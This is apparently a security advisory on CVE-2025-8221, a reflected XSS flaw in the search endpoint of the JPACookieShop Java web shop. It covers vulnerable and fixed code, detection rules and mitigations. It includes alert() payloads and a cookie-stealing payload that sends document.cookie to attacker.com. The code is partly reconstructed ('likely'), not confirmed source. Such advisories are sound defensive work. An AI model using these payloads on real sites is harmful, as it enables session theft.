CVE-2025-8221

Executive Summary

CVE-2025-8221 is a stored/reflected Cross-Site Scripting (XSS) vulnerability identified in the goodsSearch function of GoodsCustController.java within the JPACookieShop (蛋糕商城JPA版) application by vendor jerryshensjf. The vulnerability is triggered by manipulating the keyword parameter, allowing an attacker to inject arbitrary JavaScript into the application’s response. With a CVSS score of 4.3 (Medium), the attack requires user interaction but can be launched remotely. The exploit has been publicly disclosed, and no official patch is available due to the project’s rolling release model. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.

Supply Chain & Package Security

This vulnerability does not affect a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a standalone Java web application (JPACookieShop) hosted on GitHub. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network – Exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – Victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged – Vulnerability does not affect other components.
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No denial-of-service impact.

Threat Level: Medium. The exploit is public, but the EPSS score is 0.0%, indicating low exploitation likelihood in the wild. However, the lack of a patch increases risk for unmonitored deployments.

Deep Dive & Mechanics

The vulnerability resides in the goodsSearch method of GoodsCustController.java. This endpoint accepts a keyword parameter via HTTP GET or POST and reflects it in the HTML response without proper sanitization or encoding. The application uses a rolling release model, meaning versioning is not strictly tracked; the vulnerable commit is 24a15c02b4f75042c9f7f615a3fed2ec1cefb999.

Root Cause: The keyword parameter is directly concatenated into the response HTML (likely in a search results page) without escaping HTML entities. For example, a request like:

/goods/search?keyword=<script>alert('XSS')</script>

will cause the browser to execute the injected script.

Attack Flow:

1. Attacker crafts a malicious URL with a JavaScript payload in the keyword parameter.
2. Attacker sends the URL to a victim (e.g., via phishing email or social media).
3. Victim clicks the link and is authenticated (if session exists).
4. The injected script executes in the victim’s browser context, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Affected Component: GoodsCustController.java – the goodsSearch function.

Vulnerable vs. Patched Code

Vulnerable Code (GoodsCustController.java):

@GetMapping("/goods/search")
public String searchGoods(@RequestParam("keyword") String keyword, Model model) {
    // Directly reflecting keyword without sanitization
    model.addAttribute("searchResult", "Search results for: " + keyword);
    return "searchResults";
}

Patched Code (Hypothetical Fix):

import org.springframework.web.util.HtmlUtils;

@GetMapping("/goods/search")
public String searchGoods(@RequestParam("keyword") String keyword, Model model) {
    // Sanitize keyword to prevent XSS
    String sanitizedKeyword = HtmlUtils.htmlEscape(keyword);
    model.addAttribute("searchResult", "Search results for: " + sanitizedKeyword);
    return "searchResults";
}

Explanation: The patched code uses HtmlUtils.htmlEscape() to encode HTML special characters (<, >, &, ", ') into their entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running instance of JPACookieShop (commit 24a15c02b4f75042c9f7f615a3fed2ec1cefb999).
• No authentication required for the search endpoint.

Exploit Payload (Basic):

http://target/goods/search?keyword=<script>alert('XSS')</script>

Advanced Payload (Session Stealing):

http://target/goods/search?keyword=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

1. Clone the repository: git clone https://github.com/jerryshensjf/JPACookieShop.git
2. Checkout the vulnerable commit: git checkout 24a15c02b4f75042c9f7f615a3fed2ec1cefb999
3. Build and run with Maven: mvn spring-boot:run
4. Access the application at http://localhost:8080
5. Send the exploit payload via browser or curl.

Curl Command:

curl "http://localhost:8080/goods/search?keyword=<script>alert('XSS')</script>"

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor HTTP requests to /goods/search for suspicious keyword parameters containing <script>, onerror=, javascript:, or other XSS patterns.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Honeypot Setup:

• Deploy a decoy JPACookieShop instance with logging enabled.
• Monitor for requests containing XSS payloads in the keyword parameter.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /goods/search with keyword parameter containing HTML/JavaScript code.
• Outbound connections to attacker-controlled domains from the application server (if session stealing is successful).

File IOCs:

• Log entries showing keyword values with <script> tags.
• Modified GoodsCustController.java if attacker gains write access.

Behavioral IOCs:

• Unexpected JavaScript execution in the browser for search result pages.
• Unusual cookie or session token exfiltration attempts.

Detection Engineering

YARA Rule

rule CVE_2025_8221_XSS_Keyword {
    meta:
        description = "Detects XSS attempts targeting CVE-2025-8221 in JPACookieShop"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8221"
    strings:
        $xss_payload = /keyword=.*<script[^>]*>.*<\/script>/i
        $xss_event = /keyword=.*on\w+=/i
        $xss_javascript = /keyword=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-8221 XSS Attempt on JPACookieShop
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects HTTP requests to /goods/search with XSS payloads in the keyword parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/goods/search'
        cs-uri-query|contains|all:
            - 'keyword='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate search terms containing '<script' (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8221 XSS Attempt on JPACookieShop"; flow:to_server,established; content:"/goods/search"; http_uri; content:"keyword="; http_uri; pcre:"/keyword=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Sanitization: Apply HTML entity encoding to the keyword parameter in GoodsCustController.java using HtmlUtils.htmlEscape() or similar.
2. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads in query parameters.
3. CSP Header: Add a Content Security Policy header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-Term Fix:

• Monitor the GitHub repository for future commits that address this issue.
• Consider forking the repository and applying the patch manually.
• Implement a secure coding standard that includes output encoding for all user-supplied data.

Workaround:

• Disable the search functionality if not critical, or restrict access to the /goods/search endpoint via network segmentation.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert